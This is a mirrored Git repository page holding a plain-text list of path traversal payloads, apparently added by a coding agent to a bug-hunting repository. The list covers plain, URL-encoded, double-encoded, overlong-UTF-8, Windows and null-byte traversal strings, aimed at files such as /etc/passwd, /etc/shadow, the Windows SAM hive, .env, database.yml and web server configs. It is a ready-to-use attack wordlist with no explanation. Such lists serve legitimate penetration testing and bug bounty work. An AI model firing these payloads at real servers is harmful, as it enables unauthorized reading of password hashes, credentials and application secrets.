mirror of
https://github.com/0x5t4l1n/hunting.git
synced 2026-05-26 11:35:51 +00:00
copilot-swe-agent[bot]
ab9c127df3
Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
58 lines
905 B
Plaintext
58 lines
905 B
Plaintext
# Path Traversal Payloads
|
|
|
|
# Basic traversal
|
|
../
|
|
../../
|
|
../../../
|
|
../../../../
|
|
../../../../../
|
|
../../../../../../
|
|
../../../../../../../
|
|
|
|
# URL encoded
|
|
..%2F
|
|
..%2F..%2F
|
|
..%2F..%2F..%2F
|
|
..%252f
|
|
..%252f..%252f
|
|
|
|
# Double URL encoded
|
|
..%252F
|
|
..%252F..%252F
|
|
..%c0%af
|
|
..%c1%9c
|
|
|
|
# Windows paths
|
|
..\
|
|
..\..\
|
|
..\..\..\
|
|
..%5C
|
|
..%5C..%5C
|
|
..%255C
|
|
|
|
# Null byte injection
|
|
../../../etc/passwd%00
|
|
../../../etc/passwd%00.jpg
|
|
..%2F..%2F..%2Fetc%2Fpasswd%00
|
|
|
|
# Common target files
|
|
../../../etc/passwd
|
|
../../../etc/shadow
|
|
../../../etc/hosts
|
|
../../../windows/system32/config/sam
|
|
../../../windows/win.ini
|
|
../../../boot.ini
|
|
..\..\..\..\windows\system.ini
|
|
|
|
# Web server files
|
|
../../../var/www/html/index.php
|
|
../../../usr/local/apache/conf/httpd.conf
|
|
../../../etc/httpd/conf/httpd.conf
|
|
../../../etc/nginx/nginx.conf
|
|
|
|
# Application files
|
|
../../../config/database.yml
|
|
../../../.env
|
|
../../../web.config
|
|
../../../application.properties
|